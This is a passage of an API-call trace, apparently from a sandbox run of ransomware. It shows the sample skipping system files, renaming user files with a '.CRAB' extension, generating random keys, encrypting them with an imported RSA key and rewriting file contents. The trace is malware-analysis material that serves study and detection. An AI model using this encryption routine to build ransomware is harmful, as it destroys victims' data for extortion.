	[0108.803] CryptEncrypt (in: hKey=0xd7ffa0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2740000*, pdwDataLen=0x314c97c*=0xc8, dwBufLen=0x800 | out: pbData=0x2740000*, pdwDataLen=0x314c97c*=0x100) returned 1
	[0108.804] GetLastError () returned 0x0
	[0108.804] CryptReleaseContext (hProv=0xd6ed98, dwFlags=0x0) returned 1
	[0108.804] CryptAcquireContextW (in: phProv=0x314c820, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c820*=0xd6ed98) returned 1
	[0108.804] CryptImportKey (in: hProv=0xd6ed98, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314c81c | out: phKey=0x314c81c*=0xd80320) returned 1
	[0108.804] CryptGetKeyParam (in: hKey=0xd80320, dwParam=0x8, pbData=0x314c80c, pdwDataLen=0x314c814, dwFlags=0x0 | out: pbData=0x314c80c*=0x800, pdwDataLen=0x314c814*=0x4) returned 1
	[0108.804] CryptEncrypt (in: hKey=0xd80320, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2750000*, pdwDataLen=0x314c980*=0xc8, dwBufLen=0x800 | out: pbData=0x2750000*, pdwDataLen=0x314c980*=0x100) returned 1
	[0108.805] GetLastError () returned 0x0
	[0108.805] CryptReleaseContext (hProv=0xd6ed98, dwFlags=0x0) returned 1
	[0108.805] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\3-ups.jpg.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\3-ups.jpg.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ec
	[0108.805] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2fc0000
	[0108.806] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3150000
	[0108.806] ReadFile (in: hFile=0x3ec, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314c9c4, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314c9c4*=0x385a, lpOverlapped=0x0) returned 1
	[0108.812] VirtualAlloc (lpAddress=0x0, dwSize=0x3860, flAllocationType=0x3000, flProtect=0x4) returned 0x3010000
	[0108.812] VirtualAlloc (lpAddress=0x0, dwSize=0x3860, flAllocationType=0x3000, flProtect=0x4) returned 0x3020000
	[0108.813] VirtualFree (lpAddress=0x3010000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0108.813] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0xffffc7a6, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0108.813] WriteFile (in: hFile=0x3ec, lpBuffer=0x3020000*, nNumberOfBytesToWrite=0x3860, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x3020000*, lpNumberOfBytesWritten=0x314c9b4*=0x3860, lpOverlapped=0x0) returned 1
	[0108.814] VirtualFree (lpAddress=0x3020000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0108.814] VirtualFree (lpAddress=0x3150000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0108.818] WriteFile (in: hFile=0x3ec, lpBuffer=0x2740000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x2740000*, lpNumberOfBytesWritten=0x314c9b4*=0x100, lpOverlapped=0x0) returned 1
	[0108.818] WriteFile (in: hFile=0x3ec, lpBuffer=0x2750000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x2750000*, lpNumberOfBytesWritten=0x314c9b4*=0x100, lpOverlapped=0x0) returned 1
	[0108.818] WriteFile (in: hFile=0x3ec, lpBuffer=0x2fc0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x2fc0000*, lpNumberOfBytesWritten=0x314c9b4*=0x8, lpOverlapped=0x0) returned 1
	[0108.818] CloseHandle (hObject=0x3ec) returned 1
	[0108.819] VirtualFree (lpAddress=0x2fc0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0108.820] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0108.820] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0108.820] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0108.820] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0108.820] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0108.821] FindNextFileW (in: hFindFile=0xd805a0, lpFindFileData=0x314d210 | out: lpFindFileData=0x314d210) returned 1
	[0108.821] lstrcmpW (lpString1="3RUX.wav", lpString2=".") returned 1
	[0108.821] lstrcmpW (lpString1="3RUX.wav", lpString2="..") returned 1
	[0108.821] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\", lpString2="3RUX.wav" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\3RUX.wav") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\3RUX.wav"
	[0108.821] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0108.821] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\3RUX.wav") returned 46
	[0108.821] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\3RUX.wav") returned 46
	[0108.821] lstrlenW (lpString=".wav") returned 4
	[0108.821] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0108.821] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".wav ") returned 5
	[0108.821] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0108.822] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\3RUX.wav") returned 46
	[0108.822] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\3RUX.wav") returned 46
	[0108.822] lstrcmpiW (lpString1="3RUX.wav", lpString2="desktop.ini") returned -1
	[0108.822] lstrcmpiW (lpString1="3RUX.wav", lpString2="autorun.inf") returned -1
	[0108.822] lstrcmpiW (lpString1="3RUX.wav", lpString2="ntuser.dat") returned -1
	[0108.822] lstrcmpiW (lpString1="3RUX.wav", lpString2="iconcache.db") returned -1
	[0108.822] lstrcmpiW (lpString1="3RUX.wav", lpString2="bootsect.bak") returned -1
	[0108.822] lstrcmpiW (lpString1="3RUX.wav", lpString2="boot.ini") returned -1
	[0108.822] lstrcmpiW (lpString1="3RUX.wav", lpString2="ntuser.dat.log") returned -1
	[0108.822] lstrcmpiW (lpString1="3RUX.wav", lpString2="thumbs.db") returned -1
	[0108.822] lstrcmpiW (lpString1="3RUX.wav", lpString2="CRAB-DECRYPT.txt") returned -1
	[0108.822] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0108.822] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\3RUX.wav.CRAB") returned 51
	[0108.822] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\3RUX.wav" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\3rux.wav")) returned 0x20
	[0108.822] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\3RUX.wav", dwFileAttributes=0x20) returned 1
	[0108.823] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\3RUX.wav" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\3rux.wav"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\3RUX.wav.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\3rux.wav.crab")) returned 1
	[0108.823] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0108.824] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\3RUX.wav.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\3RUX.wav.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\3RUX.wav.CRAB"
	[0108.824] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\3RUX.wav.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\3RUX.wav.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\3RUX.wav.CRAB.CRAB"
	[0108.824] CryptAcquireContextW (in: phProv=0x314c830, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c830*=0xd6ed98) returned 1
	[0108.824] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0108.825] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0108.825] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0108.825] CryptGenRandom (in: hProv=0xd6ed98, dwLen=0x10, pbBuffer=0x314c96c | out: pbBuffer=0x314c96c) returned 1
	[0108.825] CryptReleaseContext (hProv=0xd6ed98, dwFlags=0x0) returned 1
	[0108.825] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0108.825] CryptAcquireContextW (in: phProv=0x314c830, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c830*=0xd6eb78) returned 1
	[0108.826] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0108.826] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0108.826] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0108.826] CryptGenRandom (in: hProv=0xd6eb78, dwLen=0x20, pbBuffer=0x314c948 | out: pbBuffer=0x314c948) returned 1
	[0108.826] CryptReleaseContext (hProv=0xd6eb78, dwFlags=0x0) returned 1
	[0108.826] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0108.826] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2740000
	[0108.827] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2750000
	[0108.827] CryptAcquireContextW (in: phProv=0x314c820, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c820*=0xd6e408) returned 1
	[0108.827] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314c81c | out: phKey=0x314c81c*=0xd7fe60) returned 1
	[0108.827] CryptGetKeyParam (in: hKey=0xd7fe60, dwParam=0x8, pbData=0x314c80c, pdwDataLen=0x314c814, dwFlags=0x0 | out: pbData=0x314c80c*=0x800, pdwDataLen=0x314c814*=0x4) returned 1
	[0108.827] CryptEncrypt (in: hKey=0xd7fe60, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2740000*, pdwDataLen=0x314c97c*=0xc8, dwBufLen=0x800 | out: pbData=0x2740000*, pdwDataLen=0x314c97c*=0x100) returned 1
	[0108.828] GetLastError () returned 0x0
	[0108.828] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0108.828] CryptAcquireContextW (in: phProv=0x314c820, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c820*=0xd6e408) returned 1
	[0108.828] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314c81c | out: phKey=0x314c81c*=0xd80060) returned 1
	[0108.829] CryptGetKeyParam (in: hKey=0xd80060, dwParam=0x8, pbData=0x314c80c, pdwDataLen=0x314c814, dwFlags=0x0 | out: pbData=0x314c80c*=0x800, pdwDataLen=0x314c814*=0x4) returned 1
	[0108.829] CryptEncrypt (in: hKey=0xd80060, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2750000*, pdwDataLen=0x314c980*=0xc8, dwBufLen=0x800 | out: pbData=0x2750000*, pdwDataLen=0x314c980*=0x100) returned 1
	[0108.829] GetLastError () returned 0x0
	[0108.829] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0108.830] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\3RUX.wav.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\3rux.wav.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ec
	[0108.831] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2fc0000
	[0108.831] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3150000
	[0108.831] ReadFile (in: hFile=0x3ec, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314c9c4, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314c9c4*=0x11dbc, lpOverlapped=0x0) returned 1
	[0108.840] VirtualAlloc (lpAddress=0x0, dwSize=0x11dc0, flAllocationType=0x3000, flProtect=0x4) returned 0x3010000
	[0108.841] VirtualAlloc (lpAddress=0x0, dwSize=0x11dc0, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0108.843] VirtualFree (lpAddress=0x3010000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0108.844] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0xfffee244, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0108.844] WriteFile (in: hFile=0x3ec, lpBuffer=0x3360000*, nNumberOfBytesToWrite=0x11dc0, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x3360000*, lpNumberOfBytesWritten=0x314c9b4*=0x11dc0, lpOverlapped=0x0) returned 1
	[0108.844] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0108.845] VirtualFree (lpAddress=0x3150000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0108.848] WriteFile (in: hFile=0x3ec, lpBuffer=0x2740000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x2740000*, lpNumberOfBytesWritten=0x314c9b4*=0x100, lpOverlapped=0x0) returned 1
	[0108.848] WriteFile (in: hFile=0x3ec, lpBuffer=0x2750000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x2750000*, lpNumberOfBytesWritten=0x314c9b4*=0x100, lpOverlapped=0x0) returned 1
	[0108.848] WriteFile (in: hFile=0x3ec, lpBuffer=0x2fc0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x2fc0000*, lpNumberOfBytesWritten=0x314c9b4*=0x8, lpOverlapped=0x0) returned 1
	[0108.848] CloseHandle (hObject=0x3ec) returned 1
	[0108.849] VirtualFree (lpAddress=0x2fc0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0108.850] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0108.850] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0108.850] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0108.850] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0108.850] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0108.851] FindNextFileW (in: hFindFile=0xd805a0, lpFindFileData=0x314d210 | out: lpFindFileData=0x314d210) returned 1
	[0108.851] lstrcmpW (lpString1="4YuuLKA.odp", lpString2=".") returned 1
	[0108.851] lstrcmpW (lpString1="4YuuLKA.odp", lpString2="..") returned 1
	[0108.851] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\", lpString2="4YuuLKA.odp" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\4YuuLKA.odp") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\4YuuLKA.odp"
	[0108.851] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0108.851] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\4YuuLKA.odp") returned 49
	[0108.851] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\4YuuLKA.odp") returned 49
	[0108.851] lstrlenW (lpString=".odp") returned 4
	[0108.851] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0108.851] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".odp ") returned 5
	[0108.851] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0108.851] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\4YuuLKA.odp") returned 49
	[0108.851] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\4YuuLKA.odp") returned 49
	[0108.851] lstrcmpiW (lpString1="4YuuLKA.odp", lpString2="desktop.ini") returned -1
	[0108.851] lstrcmpiW (lpString1="4YuuLKA.odp", lpString2="autorun.inf") returned -1
	[0108.851] lstrcmpiW (lpString1="4YuuLKA.odp", lpString2="ntuser.dat") returned -1
	[0108.851] lstrcmpiW (lpString1="4YuuLKA.odp", lpString2="iconcache.db") returned -1
	[0108.851] lstrcmpiW (lpString1="4YuuLKA.odp", lpString2="bootsect.bak") returned -1
	[0108.851] lstrcmpiW (lpString1="4YuuLKA.odp", lpString2="boot.ini") returned -1
	[0108.851] lstrcmpiW (lpString1="4YuuLKA.odp", lpString2="ntuser.dat.log") returned -1
	[0108.851] lstrcmpiW (lpString1="4YuuLKA.odp", lpString2="thumbs.db") returned -1
	[0108.851] lstrcmpiW (lpString1="4YuuLKA.odp", lpString2="CRAB-DECRYPT.txt") returned -1
	[0108.851] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0108.852] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\4YuuLKA.odp.CRAB") returned 54
	[0108.852] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\4YuuLKA.odp" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\4yuulka.odp")) returned 0x20
	[0108.852] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\4YuuLKA.odp", dwFileAttributes=0x20) returned 1
	[0108.852] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\4YuuLKA.odp" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\4yuulka.odp"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\4YuuLKA.odp.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\4yuulka.odp.crab")) returned 1
	[0108.853] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0108.853] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\4YuuLKA.odp.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\4YuuLKA.odp.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\4YuuLKA.odp.CRAB"
	[0108.853] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\4YuuLKA.odp.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\4YuuLKA.odp.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\4YuuLKA.odp.CRAB.CRAB"
	[0108.853] CryptAcquireContextW (in: phProv=0x314c830, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c830*=0xd6e7c0) returned 1
	[0108.853] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0108.854] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0108.854] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0108.854] CryptGenRandom (in: hProv=0xd6e7c0, dwLen=0x10, pbBuffer=0x314c96c | out: pbBuffer=0x314c96c) returned 1
	[0108.854] CryptReleaseContext (hProv=0xd6e7c0, dwFlags=0x0) returned 1
	[0108.854] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0108.854] CryptAcquireContextW (in: phProv=0x314c830, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c830*=0xd6e5a0) returned 1
	[0108.854] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0108.855] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0108.855] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0108.855] CryptGenRandom (in: hProv=0xd6e5a0, dwLen=0x20, pbBuffer=0x314c948 | out: pbBuffer=0x314c948) returned 1
	[0108.855] CryptReleaseContext (hProv=0xd6e5a0, dwFlags=0x0) returned 1
	[0108.855] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0108.855] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2740000
	[0108.855] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2750000
	[0108.855] CryptAcquireContextW (in: phProv=0x314c820, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c820*=0xd6e5a0) returned 1
	[0108.856] CryptImportKey (in: hProv=0xd6e5a0, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314c81c | out: phKey=0x314c81c*=0xd7ffe0) returned 1
	[0108.856] CryptGetKeyParam (in: hKey=0xd7ffe0, dwParam=0x8, pbData=0x314c80c, pdwDataLen=0x314c814, dwFlags=0x0 | out: pbData=0x314c80c*=0x800, pdwDataLen=0x314c814*=0x4) returned 1
	[0108.856] CryptEncrypt (in: hKey=0xd7ffe0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2740000*, pdwDataLen=0x314c97c*=0xc8, dwBufLen=0x800 | out: pbData=0x2740000*, pdwDataLen=0x314c97c*=0x100) returned 1
	[0108.856] GetLastError () returned 0x0
	[0108.856] CryptReleaseContext (hProv=0xd6e5a0, dwFlags=0x0) returned 1
	[0108.856] CryptAcquireContextW (in: phProv=0x314c820, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c820*=0xd6ed98) returned 1
	[0108.856] CryptImportKey (in: hProv=0xd6ed98, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314c81c | out: phKey=0x314c81c*=0xd800e0) returned 1
	[0108.856] CryptGetKeyParam (in: hKey=0xd800e0, dwParam=0x8, pbData=0x314c80c, pdwDataLen=0x314c814, dwFlags=0x0 | out: pbData=0x314c80c*=0x800, pdwDataLen=0x314c814*=0x4) returned 1
	[0108.856] CryptEncrypt (in: hKey=0xd800e0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2750000*, pdwDataLen=0x314c980*=0xc8, dwBufLen=0x800 | out: pbData=0x2750000*, pdwDataLen=0x314c980*=0x100) returned 1
	[0108.856] GetLastError () returned 0x0
	[0108.856] CryptReleaseContext (hProv=0xd6ed98, dwFlags=0x0) returned 1
	[0108.857] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\4YuuLKA.odp.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\4yuulka.odp.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ec
	[0108.857] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2fc0000
	[0108.857] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3150000
	[0108.857] ReadFile (in: hFile=0x3ec, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314c9c4, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314c9c4*=0xb29b, lpOverlapped=0x0) returned 1
	[0108.866] VirtualAlloc (lpAddress=0x0, dwSize=0xb2a0, flAllocationType=0x3000, flProtect=0x4) returned 0x3010000
	[0108.867] VirtualAlloc (lpAddress=0x0, dwSize=0xb2a0, flAllocationType=0x3000, flProtect=0x4) returned 0x3020000
	[0108.868] VirtualFree (lpAddress=0x3010000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0108.869] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0xffff4d65, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0108.869] WriteFile (in: hFile=0x3ec, lpBuffer=0x3020000*, nNumberOfBytesToWrite=0xb2a0, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x3020000*, lpNumberOfBytesWritten=0x314c9b4*=0xb2a0, lpOverlapped=0x0) returned 1
	[0108.869] VirtualFree (lpAddress=0x3020000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0108.869] VirtualFree (lpAddress=0x3150000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0108.872] WriteFile (in: hFile=0x3ec, lpBuffer=0x2740000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x2740000*, lpNumberOfBytesWritten=0x314c9b4*=0x100, lpOverlapped=0x0) returned 1
	[0108.872] WriteFile (in: hFile=0x3ec, lpBuffer=0x2750000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x2750000*, lpNumberOfBytesWritten=0x314c9b4*=0x100, lpOverlapped=0x0) returned 1
	[0108.872] WriteFile (in: hFile=0x3ec, lpBuffer=0x2fc0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x2fc0000*, lpNumberOfBytesWritten=0x314c9b4*=0x8, lpOverlapped=0x0) returned 1
	[0108.872] CloseHandle (hObject=0x3ec) returned 1
	[0108.873] VirtualFree (lpAddress=0x2fc0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0108.874] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0108.874] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0108.874] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
